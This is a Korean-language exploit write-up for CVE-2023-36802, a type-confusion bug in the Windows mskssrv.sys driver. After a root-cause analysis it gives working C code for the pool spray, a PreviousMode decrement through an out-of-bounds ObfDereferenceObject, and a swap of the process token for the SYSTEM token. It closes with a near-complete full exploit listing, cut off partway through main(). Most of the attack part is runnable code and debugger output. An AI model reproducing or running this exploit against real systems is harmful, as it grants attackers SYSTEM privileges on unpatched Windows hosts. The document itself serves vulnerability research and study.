Introduction
2023년 1월 10일, Patch Tuesday에 MSRC로부터 Microsoft Streaming Service Proxy(mskssrv.sys)에 존재하는 EoP 취약점이 공개되었다
이후 IBM X-Force의 @chompie가 자신의 X에 취약점의 연구 결과를 공개하였다
해당 연구에서는 임의의 주소에 0x2을 쓰는 취약점을 Yarden Sharif가 공개한 IoRing Primitive에 적용하여 임의의 주소에 원하는 값을 쓰는 Full AAW/AAR로 확장하였고 이를 통해 EoP를 달성하였다
이후 구글의 project 0에서 해당 취약점의 In-the-Wild 케이스를 분석하여 공개하였다
본 글에서는 구글 project 0가 분석한 In-the-Wild 케이스를 완전히 구현한 과정을 소개한다
Advisory
Affected Versions
- mskssrv.sys (~10.0.22621.1848)
Before Analysis
들어가기에 앞서 드라이버의 취약점을 트리거하기 위해서는 해당 드라이버와 통신해야 한다
드라이버와 통신하기 위해 보통 Device Name을 알아내 핸들을 얻은 후 DeviceIoControl
함수를 통해 원하는 함수를 트리거한다
이를 위해 드라이버를 분석하여 IoCreateDevice
의 세 번째 인자인 DeviceName
을 참고를 많이 하지만 아래의 함수를 보면 mskssrv.sys
드라이버가 보통의 케이스와는 다르단 걸 알 수 있다
IoCreateDevice
함수의 인자를 보면 DeviceName
인자가 NULL
이다
또한 해당 함수 이름에서 유추할 수 있듯 mskssrv.sys
드라이버는 PnP 드라이버인데 이런 PnP 드라이버와 통신하기 위해선 장치 인터페이스 경로가 필요하다
장치 인터페이스 경로를 얻는 방법에는 두 가지가 있는데 configuration manager
함수를 사용하는 방법과 SetupAPI
함수를 사용하는 방법이 있다
장치 관리자를 통해 장치의 정보를 보면 GUID 관련 정보를 얻을 수 있다
#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>
int main(int argc, char** argv)
{
GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
WCHAR interface_list[1024] = { 0 };
CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
if (status != CR_SUCCESS) {
printf("fail to get path\n");
return -1;
}
WCHAR* currInterface = interface_list;
while (*currInterface) {
printf("%ls\n", currInterface);
currInterface += wcslen(currInterface) + 1;
}
}
알아낸 GUID 정보를 기반으로 위와 같이 함수를 구성한 후 실행하면 mskssrv.sys
드라이버와 통신하기 위한 \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
이라는 장치 인터페이스 경로를 알아낼 수 있다
Root Cause Analysis
__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
...
fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject); // no type check
KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
if ( foundObject )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
{
FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp); // type confusion!!
a2->IoStatus.Information = 24i64;
}
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
}
else
{
return 0xC0000010;
}
return (unsigned int)returnStatus;
}
mskssrv.sys
드라이버에는 0x78
의 크기를 가지는 FSContextReg
객체와 0x1d8
의 크기를 가지는 FSStreamReg
객체까지 두 개의 객체가 있다
FSRendezvousServer::FindObject
함수는 원래 아래의 FSStreamReg::PublishRx
함수를 호출하기 위해 먼저 FSStreamReg
객체가 있는지 검사하기 위해 만들었으나, 인자로 받게 되는 객체의 타입을 검사하는 루틴이 내부에 존재하지 않는다
따라서 FSRendezvousServer::FindObject
함수에 FSStreamReg
객체가 아니라 FSContextReg
객체를 인자로 넘겨주게 되어도 1
을 반환하게 되고, 아래의 조건문을 통과해 FSContextReg
객체를 인자로 FSStreamReg::PublishRx
함수를 호출하게 되는 type confusion 취약점이 발생하게 된다
__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
...
framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188); // out of bound read
...
for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
{
if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
*((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
while ( 1 )
{
currentFrame = *((_QWORD *)streamRegInstance + 0x33);
if ( !currentFrame
|| (_QWORD *)*framesQueuePointer == framesQueuePointer
|| (_QWORD *)currentFrame == framesQueuePointer )
{
break;
}
if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
{
currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
if ( currentFrameSize )
{
ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39)); // out of bound decrement
}
framesUnmappedFlag = 1;
}
FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
}
}
...
if ( framesUnmappedFlag )
{
keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
if ( keventPointer )
KeSetEvent(keventPointer, 0, 0);
}
...
}
FSStreamReg::PublishRx
함수 내부에서 인자로 받은 객체가 0x1D8
의 크기를 가지는 FSStreamReg
객체라고 가정하고 +0x188
, +0x198
, 0x+1C8
에 있는 값들을 참조해서 작업을 수행하는데 이때 인자로 받은 객체가 0x78
크기의 FSContextReg
객체라면 Out of Bound 작업을 수행하게 된다
Primitive
FSStreamReg::PublishRx
함수에서+0x1C8
에 있는 주소를 대상으로ObfDereferenceObject
를 실행하게 되는데 Heap Feng Shui를 통해 해당 주소의 값을 controllable하게 만들어ObfDereferenceObject
함수를 통해KTHREAD
의PreviousMode
필드를 1에서 0으로 감소시키도록 만든다PreviousMode
가0
, 즉, 커널 모드라면NtReadVirtualMemory
함수와NtWriteVirtualMemory
함수를 통해 커널 주소의 값을 읽고 쓸 수 있게 된다
- 현재 프로세스의 토큰 값을 시스템 프로세스(PID 4)에서 읽어온 토큰 값으로 덮어씌워 EoP를 달성한다
Exploit flow
- 앞서 알아낸 장치 인터페이스 경로를 사용하여
mskssrv.sys
드라이버를 연다 NtQuerySystemInformation(SystemExtendedHandleInformation,...)
함수를 사용하여 몇몇 커널 주소를 알아낸다- 현재
KTHREAD
주소 (PreviousMode
의 주소) - 현재 프로세스와 시스템 프로세스의
EPROCESS
주소 (현재 프로세스와 시스템 프로세스의Token
주소) mskssrv
장치의FILE_OBJECT
주소
- 현재
- 잘 알려진 pool spray 기법을 참고하여
NtFsControlFile
함수에0x119ff8
IOCTL로0x80
크기의 pool을 spray 한다 - 몇 개의 Pipe를 닫아 pool에 hole을 만든다
IOCTL_FS_INIT_CONTEXT
IOCTL을 호출한다FSInitializeContextRendezvous
함수는 내부에서FSRendezvousServer::InitializeContext
함수를 호출하여FSContextReg
객체를 초기화한다FSContextReg
객체는0x78
의 크기이므로 우리가 만든 hole에 할당된다
- 다른 스레드에서
IOCTL_PUBLISH_RX
IOCTL을 호출한다- 내부에서
FSStreamReg::PublishRx
함수를 호출한다 FSStreamReg::PublishRx
함수는0x1d8
의 크기를 가지는FSStreamReg
객체를 예상하고 기다리지만0x78
크기의FSContextReg
객체를 전달받아 제어된 데이터를 대상으로 작업을 수행하게 된다FSStreamReg::PublishRx
함수는FSContextReg
객체의 범위를 벗어난 객체를 대상으로ObfDereferenceObject
함수를 호출하게 된다
이때PreviousMode
를 0으로 감소시키게 만든다
=> 커널 주소를 대상으로 한NtReadVirtualMemory
와NtWriteVirtualMemory
가 성공하게 된다FSStreamReg::PublishRx
에서KeSetEvent
를 호출할 때 특정한 조치를 취하지 않으면 첫 번째 인자로POOL_HEADER
의ProcessBilled
의 값이 들어가게 되어 예외를 발생시키게 되기 때문에 잠시ProcessBilled
값을NULL
로 만들어야 한다
=> 이를 위해FSFrameMdlList::MoveNext
를 통한 반복문 구간에서 순환 참조를 통해 무한 루프를 돌게 하여 잠시 대기시킨다
- 내부에서
- 메인 스레드에서 작업을 수행한다
NtReadVirtualMemory
함수를 통해 시스템 프로세스의 토큰을 반복문으로 읽는다PreviousMode
가 0으로 감소하면NtReadVirtualMemory
함수가 성공한다NtWriteVirtualMemory
함수를 통해 시스템 토큰의 값을 현재 프로세스의 토큰 값에 덮어쓴다FSContextReg
의 주소를 얻기 위해FILE_OBJECT
의FSContext2
필드의 주소를 얻어낸다KeSetEvent
를 할 때 참조하는ProcessBilled
값을 읽어 저장한다 (나중에 다시 복구하기 위해)KeSetEvent
를 할 때FSContextReg
객체에서+0x1a8
오프셋에 있는 값(=ProcessBilled
)을 참조하게 되는데 이를NULL
로 덮어쓴다- 무한 루프를 돌게 만든 스레드가 무한 루프에서 탈출할 수 있도록 적절히 값을 덮어쓴다
이 작업이 완료되면 루프 스레드가 루프에서 탈출하여KeSetEvent
를 호출하게 되는데 이미 첫 번째 인자에 들어갈 값을NULL
로 만들었기 때문에 에러가 발생하지 않는다 FSStreamReg::PublishRx
함수가 다른 스레드에서 종료될 때까지 기다린다ProcessBilled
값을 pool의 정상적인 작동을 위해 다시 복구한다- 현재
EPROCESS
의refcount
를 증가시킨다 (하지 않으면 프로세스 종료 시 BSOD 발생) PreviousMode
를 다시 1로 만든다- 시스템 권한으로 명령어를 실행시킬 수 있게 된다 (예:
cmd.exe
)
Exploit flow with code
- 앞서 알아낸 장치 인터페이스 경로를 사용하여
mskssrv.sys
드라이버를 연다
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NtQuerySystemInformation(SystemExtendedHandleInformation,...)
함수를 사용하여 몇몇 커널 주소를 알아낸다
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
64
번이 SystemExtendedHandleInformation
를 의미한다
핸들이 스레드 핸들이면 스레드 객체의 주소인 KTHREAD
의 주소가, 파일 핸들이면 파일 객체의 주소인 FILE_OBJECT
의 주소가, 프로세스 핸들이면 프로세스 객체의 주소인 EPROCESS
의 주소가 해당 핸들의 Object
필드에 저장되게 된다
- 잘 알려진 pool spray 기법을 참고하여
NtFsControlFile
함수에0x119ff8
IOCTL로0x80
크기의 pool을 spray 한다
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
NpInternalWrite
를 통해 User Data를 할당하지 않고 WriteFile
을 통해 할당하게 되면 Buffered Entires
가 pool에 할당되게 되는데 이렇게 되면 User Data 앞 0x30
바이트는 제어할 수 없는 DATA_QUEUE_ENTRY
가 pool에 함께 할당되게 된다
반면에 NtFsControlFile
함수를 통해 NpInternalWrite
를 호출하면 Unbuffered Entries
를 pool에 할당하는데 User Data 공간만이 pool에 할당되어 공간의 모든 값을 제어할 수 있게 된다
- 몇 개의 Pipe를 닫아 pool에 hole을 만든다
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
IOCTL_FS_INIT_CONTEXT
IOCTL을 호출한다
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
이를 호출하게 되면 만들었던 hole에 FSContextReg
객체가 할당되게 된다
- 다른 스레드에서
IOCTL_PUBLISH_RX
IOCTL을 호출한다
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
InBuf
에 1 이상이어야 하는 값이 있기 때문에 잘 맞추어 주어야 한다
또한 +0x1a8
에 있는 ProcessBilled
값을 NULL
로 덮어쓰기 전까지 무한 루프를 돌 수 있도록 앞서 pool에 spray 했을 때 데이터를 적절히 조절해 주어야 한다
FSFrameMdlList::MoveNext
함수는 +0x198
에 있는 값을 +0x198
에 넣고 해당 주소를 참조해서 작업을 수행한다
환경을 만들기 위해서는 spray가 다음과 같이 되어야 한다
FSContextReg
가 할당된 아래에 3개 이상의 pipe 버퍼가 할당된 아래의 상황이 가장 이상적이다
0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
ffff938927724000 size: 280 previous size: 0 (Free) ....
*ffff938927724280 size: 90 previous size: 0 (Allocated) *Creg
Owning component : Unknown (update pooltag.txt)
ffff938927724310 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277243a0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724430 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277244c0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724550 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
처음에 spray할 때 +0x18
에 PreviousMode
의 주소를, 0x68
과 0x78
에 fake frame의 주소를 순환 참조하도록 넣으면 무한루프를 돌게 하며 PreviousMode
를 감소시킬 수 있을 것이다
하지만 PreviousMode
가 1이기 때문에 ObfDereferenceObject
는 한 번만 실행해야 하는데 무한 루프를 돌게 되면 계속해서 감소하게 된다
이때 currentFrame+0xD0
이 0이면 ObfDereferenceObject
를 실행하지 않는다는 것을 이용하여 해결할 수 있다
- 첫 fake frame
fs1
에는+0xD0
의 값을 1로 만들고FSContextReg
객체의+0x188
에fs1
의 주소를 주면ObfDereferenceObject
를 실행할 것이다 +0x198
에fs2
의 주소를 넣고fs2
의+0xD0
오프셋은 0으로 만들면 다음 루프에서ObfDereferenceObject
를 실행하지 않고FSFrameMdlList::MoveNext
를 실행할 것이다FSFrameMdlList::MoveNext
함수 내부에서fs2
의 가장 앞쪽의 주소가 Next가 되므로fs2
의 가장 앞쪽에fs3
의 주소를 넣는다fs3
도 마찬가지로+0xD0
오프셋의 값은 0으로 만들고 서로 순환 참조를 하도록fs3
의 가장 앞쪽에fs2
의 주소를 넣는다
위 과정을 거치면 PreviousMode
가 한 번 감소하여 0이 된 채로 무한 루프를 돌게 될 것이다
아래는 이를 만족하도록 버퍼를 구성하여 spray한 코드이다
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
※ PreviousMode+0x30
의 주소를 넣는 이유
LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
...
if ( ObpTraceFlags )
ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64); // operate -1
v3 = v2 <= 1;
BugCheckParameter4 = v2 - 1;
if ( !v3 )
return BugCheckParameter4;
...
}
ObfDereferenceObject
함수를 보면 인자로 받은 Object-0x30
에 있는 값에 -1
연산을 수행하기 때문에 알아낸 PreviousMode
의 주소에 0x30
을 더한 값을 넣어주어야 PreviousMode
의 값이 1
감소한다
- 메인 스레드에서 작업을 수행한다
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
NtReadVirtualMemory
가 성공할 때까지 반복하다가 성공하면 토큰 복사를 수행하고 복구까지 해주면 EoP가 달성된다
※ FSContextReg
객체 주소 구하는 방법
FileObject
의 주소는 NtQuerySystemInformation
함수를 통해 알아냈으니 FILE_OBJECT
구조체 내부에 있는 FsContext2
필드의 주소를 알아내면 된다
struct _FILE_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
struct _VPB* Vpb; //0x10
VOID* FsContext; //0x18
VOID* FsContext2; //0x20 <- here
struct _SECTION_OBJECT_POINTERS* SectionObjectPointer; //0x28
VOID* PrivateCacheMap; //0x30
LONG FinalStatus; //0x38
struct _FILE_OBJECT* RelatedFileObject; //0x40
UCHAR LockOperation; //0x48
UCHAR DeletePending; //0x49
UCHAR ReadAccess; //0x4a
UCHAR WriteAccess; //0x4b
UCHAR DeleteAccess; //0x4c
UCHAR SharedRead; //0x4d
UCHAR SharedWrite; //0x4e
UCHAR SharedDelete; //0x4f
ULONG Flags; //0x50
struct _UNICODE_STRING FileName; //0x58
union _LARGE_INTEGER CurrentByteOffset; //0x68
ULONG Waiters; //0x70
ULONG Busy; //0x74
VOID* LastLock; //0x78
struct _KEVENT Lock; //0x80
struct _KEVENT Event; //0x98
struct _IO_COMPLETION_CONTEXT* CompletionContext; //0xb0
ULONGLONG IrpListLock; //0xb8
struct _LIST_ENTRY IrpList; //0xc0
VOID* FileObjectExtension; //0xd0
};
+0x20
오프셋에 존재한다
Full Exploit Code
#include "defs.h"
#define IOCTL_FS_INIT_CONTEXT 0x2F0400
#define IOCTL_PUBLISH_RX 0x2F040C
#define SPRAY_SIZE 20000
HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;
typedef struct fake_stream_ {
ULONG_PTR data[0x3b];
}fake_stream;
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
int main(int argc, char** argv)
{
printf("[+] Start CVE-2023-36802 Exploit..\n");
HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
if (!hNtDll) {
printf("\t[-] Failed to get ntdll handle.\n");
return -1;
}
NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
printf("\t[-] Failed to get Nt function address.\n");
return -1;
}
// Open mskssrv device
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
// Leak required kernel address
ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
DWORD main_threadId;
hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);
cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
